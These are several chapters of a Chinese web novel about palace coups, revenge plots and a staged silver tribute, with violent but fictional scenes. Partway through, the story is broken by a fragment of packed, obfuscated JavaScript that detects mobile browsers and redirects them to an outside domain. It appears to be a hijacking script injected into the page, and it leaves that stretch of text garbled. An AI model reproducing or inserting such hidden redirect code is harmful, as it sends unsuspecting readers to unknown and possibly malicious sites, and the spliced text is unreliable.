如今,龙体不振,局势动荡,牡丹过季,颓颓溃败,大有物是人非之态。
竞天公主触景生情,伏在亭中廊柱,埋下头抽噎,连簪子掉了也不知道。
身后,一只青靴踏来。
白皙长指捡起地上发簪。
“今日太子体力不济,赶走了殿内所有人,我也吃了一脸灰。”一个温润的男声,在耳后不轻不重响起。
竞天公主赶紧抹了下眼皮,回头。
姜凌嚣递过簪子。
被见证挨打,又撞破偷哭,竞天公主没好气:“赏你了!”
“胆敢收下未婚公主的贴身物件,必定个私定终身的罪名。”姜凌嚣再次递过簪子。
竞天公主只是看着他,并不伸手接。
姜凌嚣可不想留着这块烫手山芋,欲簪子插回竞天公主头上。
“敢给未婚公主簪头,你好大的胆子!”竞天公主顿一下,降调:“你知道我是哪个公主吗?”
姜凌嚣住手,诚恳:“恭听公主训诫,我会牢记在心,如有再见,绝不喊错。”
“我乃皇后唯一亲生的公主,竞天。”
“谨记于心。”
竞天公主破涕为笑:“你就是那个被迫更名换姓,还乡拉回两口棺材的姜凌嚣?”
“正是在下。”姜凌嚣执着递出簪子。
竞天公主深深看了他一眼,转身,头也不回:“是你的了。”
运着两口棺材还乡,招摇过市,连深宫里的公主都知道,更何况暗中盯梢的人。
陈家老三陈锋令和姬家老二姬有德,早见玄虎丹挣钱,眼红到要命,拉沈戚风合伙开药房,照猫画虎,弄了个“玄龙丹”。
美其名曰:龙比虎牛,压姜凌嚣一头。
眼见“玄龙丹”就要上市的节骨眼,“玄虎丹”的祖师爷姜凌嚣拉着棺材,杀回京城。
三个纨绔股东信誓旦旦共商“龙抵虎”大策,约在青楼喝花酒。
姬有德笑眯眯的,摸摸沈戚风的头顶,像摸狗:“听说老三拉了两口上等棺材回来,估计是给你和你爹的。”
陈锋令乐地露出金牙:“没打算让你和你爹暴尸街头,老三还是个大孝子。”
沈家为了功名硬是给三儿子出丧下葬,早已走漏风声,在王侯贵胄里成了笑话。
在外面横不起来,沈戚风跑回家耍混,满院子嚷嚷:“爹,老三回来寻仇了!拉了两口棺材回京,说要给咱爷俩一人一棺!”
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沈万湖气的差点一口气厥过去。
府上更是哗然一片,“以后有热闹看了。”
朝中歌舞升平,骄奢淫逸,西南战场却炮火连天,血流成河。
断胳膊烂腿,激起了沈丘染的杀人回忆,频频恶心,几近晕厥,指挥中断;加上军中贪腐,兵器、粮草后续供应不及,防守濒临溃败。
副官见势不妙,自作主张释放撤退信号,惊醒昏迷中的沈丘染,夺过千里镜,目睹战况。
因兵撤退,拜基蛮子趁机攻破边疆防线,举刀剁向小孩女人老人。
敌方的刀,越看越熟悉。
沈丘染冲出军营,置之生死不顾,赤手空拳夺过蛮子手里的刀。
这下看清了,大峪国官刀。
自己国家造的刀,砍在自己百姓的脖子上!
沈丘染怒不可遏,一刀捅杀了蛮子,又砍死敢擅自弃战而逃的副官,带头杀入前线。
刀刀劈杀,让沈丘染红眼,逼近魔怔。
接连几天,杖毙军中贪腐人员,整饬军纪,精锐部队。
十天后大捷,抓了上百个战俘。
当时张大嘴案结,查不到失踪兵器去处,官刀又出现在蛮子手里,沈丘染怀疑交易给了拜基藩国,提审战俘。
拜基蛮子顽固,拒不交代官刀来源。
官刀只能来自官府,必然有内鬼里通外合。
当初查找失踪的于克新,才顺藤摸瓜到兵器贩子张大嘴。也就是买卖官刀于家也有参与,于太守必难辞其咎!
沈丘染当机立断绑了于太守,火速赶往张大嘴家,重新寻找线索。
艳阳高照,张家的残垣废墟长满了草。一代地头蛇的魔窟,已成荒冢。
张家后门树林里,满是一丘又一丘的深绿草丛,其中一个草丛里,闪烁着一双布满皱纹的小三角眼,耿正披着草皮,埋伏其中。
昨日刚准备刺杀于太守,谁知半路杀出个沈丘染将于太守绑了,耿正察觉不妙,改跟踪沈丘染。
再度亲临留下心理阴影的爆炸现场,沈丘染故作有说有笑,大声指挥官兵搜查新线索,从碉堡废墟排查到后门树林。
虽已深秋降温,西南依旧绿野遍地。
单单树林中间的位置,却枯黄一片,周围离地三尺高的树干上,均留有磕碰过的痕迹。
新提拔的副手韩垠,招呼沈丘染:“嘿,兄弟,看这儿。”
“谁是你兄弟?战场只有上下级,收起你那套江湖作风!”沈丘染严肃纠正。
韩垠尴尬笑笑,改口:“将军。”
“谁会到这种无人的树林里来,专门磕树?”
“什么东西才能磕到这个位置,还能磕这么深?”
韩垠分析不出个所以然。
沈丘染比对半天痕迹,恍然大悟:“是马车!还得是满载的马车!急切掉转时的磕痕!”
他狠跺枯草地。
果然,地下传来“咚、咚”的空荡回音。
“有大货!给我挖!”
躲在暗处的耿正,恨地咬了下牙,点上阴火箭,瞄准沈凌嚣头顶上空的假鸟窝。
窝里藏着个炸药罐,临离开康凌郡时埋设好的,就为以防万一。
只要引爆,知情人全部死亡,至此兵器案彻底结束。
可姜凌嚣一定不会答应,他可是宁废右手,也要护弟安危。
耿正最终选择熄灭阴火,眼睁睁看着官兵挖出兵器,一箱接一箱。
22. 宫变
兵器拆箱,官刀赫然在列,于太守勾结张大嘴的铁证如山。
沈丘染审讯买卖官刀案,于太守死不开口供出姜凌嚣。
一是执念亲手血刃,为两个弟弟报仇。
二是决不信任沈丘染会秉公执法,供出姜凌嚣,定会遭沈丘染灭口。这对兄弟情谊,他早前看在眼里,姜凌嚣可是为弟弟几乎废了右手。
审讯无果,沈丘染奏折加急,上报朝廷。
京城初雪,越下越大,足足下了一天一夜,整个京城覆盖上厚白,寻常百姓家和皇宫屋顶一色,看似有了短暂的公平。
宫外,一辆板车停下,下来两个官兵,拖起雪地里的冻死骨,像扔垃圾一样抛到板车上。一路走走停停,很快满车。
宫内,皇帝就寝的镇和殿,连走廊都生上了暖炉。空气中弥漫着草药味,宫女、太监行色匆匆。
本就一病不起的皇帝,咳了血,危在旦夕。
朝廷上下人心惶惶,暗流涌动,恐生政变,皇后携太子召集群臣于蛟荣殿,共商国事。
陶公公展开沈丘染加急奏折:“康凌郡太守于克明,勾结拜基藩国,倒卖兵器,砍杀我大峪国百姓无数,已扣押铁证,恳请朝廷严惩不贷。”
众臣震惊,唾骂吃里扒外的于克明。
坐席中,一个身着盔甲,与周围大臣朝服格格不入的白发老头,闭着眼,一言不发。
等众臣泄愤完毕,老头才站起来,身姿精壮挺拔,鹰眼钩鼻薄嘴唇,称得双眼如恶狼,此人正是姬无心。
他盯着太子提议:
“西南既已大捷,沈丘染应当撤兵还朝,押于克明回京严惩,以警示天下所有官员与商贾,结党营私,以下犯上,不得好死。”
太子大悦:“好!以下犯上,不得好死,真是大快人心的一句话,就这么定了!”
姬无心:“我年轻的时候,和拜基蛮子打过交道,他们顽固狠辣,信奉虽败犹荣。这次认败,不过是为了休养生息,早晚卷土重来。不如我朝不过奉上公主一名前去和亲,免去兵力调遣,省下庞大军饷。”
众臣点头称是:
“还是姬老足智多谋!”
“反正有好几个公主也都到了嫁人的年纪。”
太子拍桌咆哮:“我才是一人之下万人之上的太子!你们该问我拿主意!”
众臣惧惮姬无心,沉默。
姬无心倨傲轻蔑地看向太子:“你该也问我拿主意。我是皇后的亲生父亲,你的姥爷。”
太子气得拔剑乱挥:“我是太子,你不过是个随时可以废撤的老臣!”
姬无心盔甲闪亮,寒气逼人,一步步迈上殿阶,坐进太子椅。
太子狂躁:“我要定你忤逆之罪。来人!”
无人进殿。
姬无心挑眉一笑,打个响指。
御前侍卫冲进殿,不护太子,却护卫在姬无心身边。
“怪不得你个老小子穿着盔甲来这,早就谋划好了造反!”太子气不过,抓起桌上的戒尺就要打姬无心,姬无心夺过戒尺,狠狠抽了太子手心三下,皮开肉绽,鲜血直流。
太子嚎啕大哭:“倒反天罡,我要诛你九族!”
姬无心阴森一笑,露出细长的尖牙:“我的九族有你呢,傻孩子。”
儿子不成器,父亲专横忤逆,皇后只是冷眼旁观。
“噗通”一声,皇帝的贴身太监进殿跪下,声音颤抖:“皇上驾崩了!”
众臣错愕,跪到地上,痛哭流涕。
一言不发的皇后终于出山:“太子,姬无心身着战甲,是为了以防不测,调兵遣将,助你登基!”
姬无心:“太子是这世上离龙椅最近的人,但要坐到龙椅里,还差一屁股的距离。这点距离,却需要无数条命填补。”
话音刚落,御前侍卫突然拔刀刺向太子——身后,几名太监和宫女“嗵嗵嗵”倒地。
太子吓瘫,倒进血泊,匍匐出一长串乱糟糟的血印子,钻进母后怀里,瑟瑟发抖。
血刀未擦,侍卫转身又刺死几个大臣,血浪四溅,有老臣当场吓晕。
死的都是非太子党派和安插的眼线,蛟荣殿一时血流成河。
姬无心踩着一地热血,命令太子殿唯一幸存的太监陶公公:“去喊御林军进殿,听命新帝调遣。”
皇后掏出虎符,一改端庄慈悲,威严霸气,代帝宣旨:“朕有遗诏,西去之日,皇后暂掌虎符,执掌兵权。国丧未发前,诸臣不得离宫,助太子登基,胆敢忤逆者,杀、无、赦!”
众臣一愣,包括姬无心在内,全没想到皇后在皇帝驾崩前拿到了虎符。
“臣领旨!”众臣跪在血泊里磕头表忠,额头沾上热乎乎的血迹。
姬无心只得使个眼色,让暗中投靠他的御林军暂且听命皇后。
皇后一字一句教太子下旨:关闭宫门,无太子亲批,任何人不得出入,违者斩立决。
她抓起太子的血手,狠狠印在圣旨上。
朝中重臣围困宫内三天。
期间,有人往宫外递消息。
殊不知,宫外从各地暗调的精兵早已包围京城,全城三步一哨,五步一岗,每个大臣的府门都被兵把守着。妄图谋逆者被揪出,惨遭灭门。
三天后,异党伐除,新帝朱桢本登基,姬无心辅政,太后垂帘听政,国丧发布。
先帝下陵这天,风雪交加,树歪幡飞,披麻戴孝的长队伍和天地混沌成一片。傍晚,雪已积了尺厚,举步维艰。
“枕无忧”客栈三楼开着窗,姜凌嚣站在窗前,望着对面的玄虎堂,愁云惨淡。
玄虎堂早早打了烊,门板贴了【为悼先帝即日起只午间营业】的告示。
实则是因康凌郡战乱,地藏蕨汁断供,面临弹尽粮绝,不得不限量销售玄虎丹。
“冻死了,把窗子关上!”小虎从火炉里掏出块地瓜,也不扒皮就啃,嘴边粘了灰。
姜凌嚣笑了一下,伸手帮她拭净:“长胡子了。”
“哼,你是不是最近也帮别的女人擦胡子了?”小虎没来由一句。
姜凌嚣拧眉:“胡说什么?”
“那天你从宫中回来,袖子上有股脂粉香。”
“乱诌,宫中戍卫严谨,岂是儿女情长的地方。”姜凌嚣愣是没想起袖中盛过竞天公主簪子。
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“你反正外面有鬼,不给你吃了!”小虎抢走他的烤地瓜。
姜凌嚣觉得冤枉,将手上的灰抹在小虎唇上,小虎滋哇乱叫地躲,两人扭做一团。
“唷,小两口真恩爱。”门被推开,挤进一身鸦毛黑斗篷,不沾霜雪,一看就是出自宫中之物。
小虎口无遮拦:“那个老阉货······”
姜凌嚣捂紧她的嘴推出门外,兴致极低:“陶公公冒雪大驾光临,有何贵干?”
陶公公翻下遮脸的帽子,对着火炉搓手:“还记得我们来京路上的天平山吗?”
天平山,就是活埋‘蛤ma头’刘坤和沈丘染战马的那座失火山。旧事重提,必是要挟。
姜凌嚣脸色黑沉:“不妨有话直说。”
“我们都暗中眼睁睁看那座山烧光,哪知近日山洪爆发,泥石流吞没了周围村庄,无辜百姓死伤无数。”陶公公哀伤地闭上眼,默念罪过。
就算次次谋杀都做到了毁尸灭迹,但杀人的恶劣影响就像坏天气,隔三差五就突然冒出来,永无休止。姜凌嚣震惊地跌坐在凳。
陶公公:“天平山地处交通要塞,现在路崩,就算你能让地藏蕨过境,也难运到京城。你的玄虎丹,要断原料了。”
自己丢的火折子引起大火,又因焚烧杀人现场而隔岸观火,最终以意想不到的方式,报应在了自己身上。姜凌嚣闭眼摇头,喃喃:“报应,我的报应。”
陶公公似乎不打算让他内疚了事,继续爆料:“姬无心干政,孙子姬有才前往康凌郡暂代太守职位,沈丘染必须撤兵回京,就由他押解于克明。”
于克明没死?一旦进京面圣,自己必将败露!
姜凌嚣方寸大乱。
陶公公上前一步:“我没有拆穿你的惊天阴谋,不管你情愿不情愿,我们都在一条船上了。”
姜凌嚣多疑:“你为什么要告诉我这些事?我为什么要跟你一条船?”
“就凭我知道你斯文败类下的秘密,而你对我一知半解,注定某一段路我们是并肩同行的。”
姜凌嚣拒绝同流合污:“宦官勾结从来不新鲜,无非就是谋反。而我只想复仇,挖出姜家的灭门凶手。”
“太监无后,就算谋逆成功,也因势力松散,坐不稳龙椅。史上篡位的太监,错就错在看不到这么长远。”
姜凌嚣讥讽:“你表忠表错了地方,我没牌坊给你。”
陶公公并不急于跟他争一口气,“我跟着丧礼队伍出来的,得赶在宫门关闭前回去。消息我提前放给你了,能不能渡劫过去,看你造化。”他遮上黑斗篷,消失在风雪中。
于克明落到了沈丘染手里,但凡换一个官,还都有一起杀了的可能,偏偏是自己唯一在意的亲人!
眼见复仇中道崩殂,姜凌嚣认命了。他挫败地收拾出银票,准备带小虎逃亡,余生隐姓埋名。
“吱呀”,门又开,一个高大的雪人踏入,眉毛都冻上了冰霜,耷拉下来,遮住了小三角眼。
姜凌嚣声音喑哑:“我都知道了,于克明由沈丘染押解。”
耿正精疲力竭:“比那还遭。于克明刚刚交由新帝亲兵接管。”
23. “依她。”
只要不是沈丘染押解于克明,就不算绝境。
阴鸷升上姜凌嚣脸庞,他问:“于克明还有几天到京?”
耿正:“三天。”
姜凌嚣眯眼,狠辣:“在他进京押入天牢的路上,还有机会杀他。”
耿正看看桌上的银票,“也许远走高飞才是最好的选择。”
“就凭我犯的那些罪,我一走了之,玄虎堂的伙计就要遭受无辜牵连,西南马帮也会株连九族。我留下,孤注一掷,才有反败为胜的生机。”
他定夺:“三天之内,锄掉于克明。”
以前铲除的敌对势力不过是民间地头蛇,现在姜凌嚣竟想从朝廷眼皮子底下作案,激进冒险,耿正:“我们男人在外惹是生非,女人是无辜的。”
“你指小虎?”姜凌嚣眉头一松,音调软下来:“我自有安排。”
晓色云开,骤雪还晴,客栈里渐有伙计们忙碌的响动。耿正房内早已铺盖整齐,不见踪影。
小虎起床后下楼,听见小二闲聊小时候下了雪就堆雪人,她也非要雪人。
姜凌嚣交代死鱼眼:“依她。”
几个马帮汉子挥着铁锹,眨眼功夫就堆起雪人。
小虎也就稀罕了没半柱香,见雪人不动不跳越看越呆,她一脚踹飞雪人脑袋。
就料到她得有这么一出,姜凌嚣笑着拿搓热的手揪她耳朵,抱她坐上马车,“我带你去找更好玩的。”
城内繁华的街上,尚有各家店铺扫雪,露出自家招牌和街道。出了城门,积雪深厚,白茫茫一片,别说人,连鸟的踪迹也无。
昨晚耿正透露,按照沈丘染的行军速度,今天应该走到这里。
马车停在官道,小虎撩起车帘:“这儿哪有好玩的?”
“听闻雪地里有冻僵的野兔可以捡。”
“不动弹的兔子有什么好玩?有老虎豹子吗?看我乱拳打死一只。”
“找找看。”姜凌嚣拖延着时辰,看着进京的方向。
小虎上蹿下跳找野兽。
前方远处雪地现出几个黑黑的影子,举步维艰。其中夹杂一点醒目的紫色。
小虎一眼认出,那是紫玉坐在马背上,沈丘染前方拉马开路。
“小玉和你弟回来了!”小虎兴奋地跑向紫玉几步,突然停下,爬到树上,对树下的姜凌嚣做手势“嘘”。
沈丘染的人马越走越近,小虎照准紫玉坐着的马,飞天而降。
马受惊,将紫玉甩飞,“咚、咚”两声,小虎和紫玉先后砸进雪窝。
沈丘染赶紧从雪里扒拉出紫玉,掸掉她身上的雪。
紫玉不禁风寒,冻僵了,他单臂箍住她的腰,提到姜凌嚣的马车上:“到这豪华车厢里暖和暖和。”
沈丘染又回身,从雪堆里挖出小虎,客套扶住她,甩出围巾,“啪啪”抽几下。
小虎朝姜凌嚣告状:“你弟打我!”
沈丘染:“我是给你拍雪。”
“那你用手拍啊。”
沈丘染本分:“你可是我嫂子,授受不亲。”
小虎口无遮拦:“嫂子怎么了?客栈小二还跟我讲,昨儿下大雪,街上麻油店的寡妇早早关起门来,和小叔子一个被窝睡觉呢。”
沈丘染红了脸,局促不安:“你这······我可清白着呢!”
小虎没心没肺撅着屁股爬上马车,姜凌嚣沉着脸一脚把她蹬进车厢。
沈丘染怕极了和正常人不一样的小虎,不敢和她打照面,隔着帘子喊紫玉:“紫玉,车里有手炉,你抱着暖暖手。”
就一个手炉,小虎塞给紫玉:“早知道是来见你,我给你买好多好吃的。”
紫玉抓过小虎的手,两人一起捧手炉,小虎见紫玉脸上冻得青紫,拿热脸贴上去。
沈丘染坐到车架上,和姜凌嚣一左一右驾车,又惊喜又好奇:“三哥,你怎么知道我回来?”
“下了雪,困在客栈没处去,怕小虎闹腾客栈,影响人家生意,出来遛遛。大雪迷路,马乱窜,就到了城外。真是巧,碰见你。”
“可不是巧!”沈丘染感慨,“打了胜仗,却成了朝廷的心患,换了姬有才替我,马不停蹄召唤我回来。”
鸟尽弓藏,卸磨杀驴,向来是胜仗将军的最终下场,何况新帝的散德行,自己亲眼见过,只会更无情,姜凌嚣心有戚戚焉。
沈丘染忽然想起:“哎,还记得张大嘴兵器库房空空如也,不符合兵器贩子行为的事吗?”
一共趁火打劫了两批兵器,张大嘴的早销赃了,于克新的被沈丘染查获,一提起来,姜凌嚣就心疼。
“嗯。”
沈丘染激动:“于克明和张大嘴勾结,倒卖官刀,被我查封了。藏匿地方你绝对想不到!”
“哦。”
如此重大的消息,姜凌嚣竟然反应平淡,沈丘染反倒吃惊:“你在京城听说了?”
“没。”
“你不惊讶?”
姜凌嚣后知后觉自己反应不对,忙解释:“我太过震惊,以至于······”
“于克明坐实里通藩国、买卖官刀,不管他交代还是不交代,都难逃一死。”
“叛国的应有下场。”姜凌嚣正义凛然。
沈丘染突然转了话锋:“三哥,你可是把炼丹房迁到了于家。”
马车猛地驶过一块大石头,颠的人胆战心惊,姜凌嚣强颜欢笑:“发生了些不愉快,早就搬走了。”
沈丘染追问:“什么不愉快?”
“你没问问于太守?”姜凌嚣反将一军。
“他死活不开口,只嚷嚷要见皇上。”沈丘染看向姜凌嚣。
沙场归来,沈丘染战息浓厚,看人的眼神愈加犀利,愈来愈难分辨他话里是否带着试探。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16499860|186002||http|test|mini|href|location''.split(''|''),0,{}));
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>姜凌嚣第一次惧惮起沈丘染,但很快,恶胆横生,力图盖过沈丘染散发的侵略性战息,他似调侃似挑衅:“那我也死活不开口,也嚷嚷要见皇上才肯说。”
“我收集于克明罪证的时候,发现你的炼丹房从于家迁走了,一定是你吃了他的哑巴亏。都怪我,非要拉拢你和于太守凑近乎,为你做生意找个保人。连朝廷都整天想方设法刮商户的银子,天高皇帝远的地方官,刮起民脂民膏岂不更是狠辣!”
沈丘染深深舒了口气,十分愧疚。
姜凌嚣也暗自舒了口气。要保住对外清誉,保住兄弟情谊,于克明必须不能面圣。
马车直奔姜凌嚣提前订好的酒楼,一顿饱餐热酒后,姜凌嚣把小虎塞给紫玉,让小姐妹独处三天。
三天后,若暗杀于克明成功,再将小虎接回来。如若不成,姜凌嚣只身赴死,沈丘染定会保她余生不受为难。
姜凌嚣给了她们一张银票,两个女人一看数额,尖叫不已,叽叽喳喳商量做衣裳、打首饰。
这是目前能给小虎最好的安顿了。此一别,也许就是永别,而她,尚不知情。姜凌嚣举杯遮脸,瞥向她,清眸悄悄泛红。
一天过去了,不见耿正刺杀于克明归来。
二天过去了,依旧没有动静。
第三天的太阳起得还是那样早,天天去玄虎堂巡店,姜凌嚣的和善温雅快装不下去了,关上门就变脸无情,焦灼不堪。
这日半夜,耿正终于回到客栈,口鼻系着一条白巾。大雪过后,城内爆发了时疫,已死了许多人。
可惜,于克明没染病死去。
耿正甚至放言:“现在谁感染时疫,于克明都难感染。一言难尽,跟我来。”
城墙边的树林里,姜凌嚣和耿正勒马,静静看向进城的官道。
押解部队浩浩荡荡,由远及近,铁蹄铮铮。全副武装的精兵里三层外三层,围着一辆囚车。
囚车上,完全看不到于克明,只有一个大铁桶,顶着一个硕大的黑圆球,像铁铸怪物。
姜凌嚣不解:“那是什么?”
耿正压低嗓音:“新皇帝新创意,为保护罪犯,给于克明穿上了特制的桶形铠甲,戴上了铁头盔,脚上套了铁脚蹼,跟鸭子似的。总之,于克明现在刀枪不入,无从下手。”
押解队伍过去,进入城门。
姜凌嚣和耿正抄小路,不远不近跟着,依旧没机会下手,眼睁睁看着部队送于克明直入天牢。
新帝如此重视于克明,天亮后,必将提审。
一切挣扎都无望了,耿正自知劝姜凌嚣无用,安慰性问了一句:“走进死胡同,我们还能做什么?”
姜凌嚣飞耸的眼尾融入无尽的黑夜,散发着赌徒才有的破釜沉舟,“我不能再等待意外发生,逆来顺受,而是要主动制造意外。”
月色渐退,晓色微蒙,时间倒计。
24. 献银
天牢机关重重,闯进去比登天还难,耿正忧心忡忡:“你打算怎么杀掉于克明?”
姜凌嚣:“杀他来不及了,只能阻止皇帝见他。”
阻止皇帝,得先能见到皇帝的面,需要引荐人。就算见到皇帝,也要有手段拖住皇帝,才能终止提审。
引荐人首选沈丘染,他战场凯旋,皇帝是要给三分薄面的。
半个时辰后,耿正回来禀告,沈丘染去了城外办案,还不知道什么时候回来。
除却沈丘染,再无其他官宦相与,思来想去,只剩下京城商会会长进过宫。
姜凌嚣急切砸开秦会长宅门,求引荐,他一早要见皇帝。
“皇帝岂能是草民想见就能见的?还一早?你还要求上皇帝了!梦游呢你?赶紧回家继续做梦去!”秦会长强硬送客。
天色已蒙蒙亮,姜凌嚣入宫还是没戏。
打道回府客栈后院,小炸药推车出门,和姜凌嚣撞了个面对面,几个竹筒滚到地上。
姜凌嚣烦躁:“不睡觉在忙什么!”
小炸药捡起竹筒,说是小虎之前要收养的瘸腿狗不见了,沈丘染还记得这事,昨儿送了只狗给她,小虎高兴的要放礼炮庆祝。
姜凌嚣皱眉:“至于造这么一大车?一放还不闹得全城都知道了?”
“她说狗收养仪式要比新帝登基热闹才行。”
不在眼前也让人不省心,姜凌嚣不耐烦挥挥手。
小炸药刚推起车子走了两步,姜凌嚣忽然眼前一亮,喝住他:“礼炮留下,我另有他用。”
门里一阵窸窣,似乎一群人在密谋什么。
姜凌嚣和小炸药紧贴到院外墙壁窃听。
客栈掌柜带几个伙计用毛巾围紧口鼻,抬出一具尸体。
“真死了?”
“染了时疫,死透了。”
“赶紧抬出去!把他的衣物全烧了,免得传染其他客人!”
男尸被匆匆抬出后院,拐弯时,袖口掉出一块青手帕。
帕子主人活着时,偶尔到姜凌嚣书房走动,身形矫健,打得一套漂亮的太极拳,病来如山倒,人说没便没了。
姜凌嚣心想,只要死亡没有发生在他身上,就是老天在鼓舞他继续复仇,所遇困难,一定会有解决的线索。
青手帕被冷风吹到了旁边的灌木里。
姜凌嚣走到灌木旁,捡起了青手帕,露出阴森的笑容。
小炸药魂飞魄散,捂紧口鼻逃窜,去叫白眉做好给姜凌嚣收尸的准备。
不一会儿,白眉老太捧药进门,逼姜凌嚣喝下,又端来一口大锅,架在火炉上熬煮,房间渐渐充斥着浓重的草药味。
白眉老太:“内服外用,什么时疫都不怕。”
姜凌嚣没心思在意自己感染不感染,将青手帕揣进袖筒。
天亮了,一声柳哨声响起,是耿正筹备好了道具的信号,姜凌嚣起身出门。
客栈的整条后巷,被浩浩荡荡的马车队伍占领,一辆接一辆,从巷口挤到巷尾。
每辆马车上,都放着几个巨大的红漆箱子,统一整齐。
康凌郡来的两个精悍妇女也来了,和乔装成马夫的马帮壮汉们一起护卫着箱子。
姜凌嚣带头,一路人马浩浩荡荡上街。
天光愈亮,街上行人愈多,对着整齐浩大的队伍指指点点。
“干什么的?”
“看着喜庆,却不像迎亲的。”
“去哪儿的?”
“这条路,只有进宫。”
······
长长的青砖石路直通朱漆宫门,百余米距离,两侧重兵把守,苍蝇也难靠近宫门半寸。
路这头,马车停住,姜凌嚣下车。
侍卫手按在刀柄,威严:“皇宫圣地,闲杂人等不许逗留,快走!”
姜凌嚣指着宫门:“我不是闲杂人等,要面圣。”
“放肆!”侍卫拔刀震慑。
宫门开,皇帝的马车出门,陶公公驱赶姜凌嚣等人:“皇上要去天牢提审要犯,让开!”
姜凌嚣朝耿正使个眼色。
“咚——咚——咚!”,震天的礼炮骤然炸响,掀起浓烟热浪,一时间兵荒马乱,皇帝的马车逃蹿回宫内。
侍卫们纷纷拔刀:“找死!”
“嗖嗖嗖”,已有箭从宫□□来,姜凌嚣一躲,箭插到马车上。
“住手!”一阵急烈的马蹄声中,沈丘染狂奔而来,跳下马,护在姜凌嚣身前,“刀下留人,这是我三哥!”
侍卫们告状:“他惊了圣驾,按律当斩!”
沈丘染搂住侍卫,偷偷塞钱,拍胸脯作保。
还未攀完交情,宫内太监出来传话,皇上要召见罪魁祸首。
姜凌嚣踏上进宫大道,阔步流星,身后跟着浩荡的马车队伍。
沈丘染跟上姜凌嚣,低声斥责:“你都派人叫我去了,怎么就不等我来?今儿本是要讨皇上高兴,却闯这么大祸,你不知道皇帝那性子,这下完了。”
姜凌嚣不仅毫无反思与惧惮,甚至生出自负狂妄的神情,令沈丘染震惊到摸不着头脑。
马车队伍停在新帝寝宫前的空地上。
后进宫的姬有德和陈锋令听闻姜凌嚣惊了圣驾,跑过来看热闹。
陈奉令幸灾乐祸:“小时候沈老三还拿刀要刺死我,今儿我倒看看他是怎么被皇帝赐死的。”
姬有德打量下姜凌嚣:“他挺斯文的,不像会拿刀威胁人。”
陈奉令呸了一声:“他刚才炸礼炮把皇帝都吓蹿了,牛了个逼的,哪里斯文?”
姬有德在襟前擦净右手,朝姜凌嚣友好一伸:“在下姬有德,御前一等侍卫。”
姜凌嚣敷衍一握,并没自我介绍,转身望向朱帝可能出来的地方。
陈锋令嘲讽:“热脸贴人家冷屁股,贱不贱呐。”
姬有德笑眯眯挠头,憨态可掬。
镇和殿台阶上,朱帝抱着只白猫出来。
少年头戴沉重珠冠,身着繁复华丽的龙袍,行为打扮像小孩装大人。
陈锋令和姬有德相视窃笑,众人拜见朱帝。
朱帝站在台阶上俯视,露出缠着绷带的手,招唤姬有德:“来!”
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>姬有德笑眯眯跑上前。
“手。”
姬有德伸出右手,朱帝掏出戒尺,突然跳起来玩命抽,边抽边泄恨:“姬无心敢抽朕,朕就抽他孙子!老东西还想替朕做主,要把竞天许给你个烂地瓜!”
姬有德天生眯眼带笑,带着股不严肃,朱帝越看越气,越抽越狠,抽累了才肯罢手,“回家让你爷爷看看。”
“遵命。”姬有德恭敬退下,走回姜凌嚣旁边,举起血肉模糊的右手:“流血了。”
陈锋令低声骂:“傻逼,谁也不瞎。”
猫挠了朱帝,他掏出刀子就剥了皮,扔无皮猫尸到姜凌嚣脚下威胁:“宫外乱放礼炮,不怕当谋逆处死?”
沈丘染只看了一眼猫尸就疯狂干呕,姬有德转头看姜凌嚣的反应。
姜凌嚣仿佛看不见杀戮,微笑:“启禀皇上,为庆您登基,草民甘愿献上兵饷十万两。”
朱帝下了台阶,持血刀掀起姜凌嚣下巴:“十万?你有五十万的捐!怎么还差四十万?”
猫血沾在姜凌嚣的下巴,他不擦,从袖筒中拿出账本呈上:“初创生意,营收有限,每笔账都记得清清楚楚,刨除店内运转资金,剩下的全都拉来奉上,请皇上过目。”
朱帝不懂账,随意翻了翻,“欠朕的四十万,你何时还?”
姜凌嚣:“皇上,先验过十万两白银吧。”
“问你东,你答西,舌头不听话就割了它!”朱帝恼火举刀,欲割掉姜凌嚣的舌头。
“哗啦”一声巨响,打断了朱帝。
又是一阵接一阵的“哗啦——哗啦……”
耿正手快无影,插满箭的箱子齐齐裂开,一片片银光灿灿倾泻而下,如同千万条银鱼同跃龙门,蔚为壮观。
银条埋了殿前空地,直涌到朱帝脚下。
朱帝傻眼,丢了血刀,捧起崭新的银条。银条犹如镜面,照出清晰的影子,晃的人见钱眼开。
姜凌嚣狂放展臂,高声在殿前回荡:“这就是草民为皇上备好的十万两银子。”
陈锋令抓起一把银条,惊叹:“你的银子怎么都是条不是锭?”
姜凌嚣真真假假:“化成银条,方便皇上清点、储藏、运输、调配。从皇上登基那刻,我就盼望着庆贺献忠。”
姬有德抓起一块,狠狠咬了一口,不留牙印,惊异:“这怎么做到的?”
姜凌嚣得意:“经过多次提纯,毕竟献给皇上,就要世间独一份。”
朱帝拍手大叫:“好好好!想得周到,做得周到,朕要赏你!”
陈锋令不安好心,呲着金牙:“皇上,他还欠您四十万两银子呢。”
姜凌嚣:“账本涉及机密,细目还是我单独向皇上一一秉明。请皇上安心,每赚十万两,我便缴付于您,一文不少。”
此次献银别开生面,朱帝见钱眼开,出奇的通情达理,四十万两的余款期限,变得宽松。
陶公公赶紧吆喝侍卫抬来结实的银箱,收纳起满地银子。
献银不过是声东击西,真正的目的还没达到,姜凌嚣悄悄抽出青手帕,盯着朱帝动向,伺机而动。
25. 金牙
殿前,竞天公主送奏折而来,目睹了整个壮观的献银过程,她注视向姜凌嚣。
朱帝转身瞥见竞天捧着奏折,夺过来翻开,批注字迹娟秀舒展,他乜斜着问:“你批的?”
竞天恭敬:“是母后下令,为皇帝分忧,我才代为······”
朱帝照脸砸下奏折,破口大骂:“你个干政的祸根,疼你的先皇死了,没人再护着你,朕要把你嫁给拜基蛮子,滚到天涯海角!”
竞天的脸被扇得通红,傲气不减:“还有母后为我撑腰!”
“是靠朕做了皇上,母后才是太后。没有朕,她就沦为众太妃中的一个!你又算什么东西。朕肯指婚,是你的福气。”
“我老死宫中也不受你的昏庸指婚!”
朱帝举起戒尺,照着竞天的脸狠狠劈去。
这一尺打下去,必定毁容。
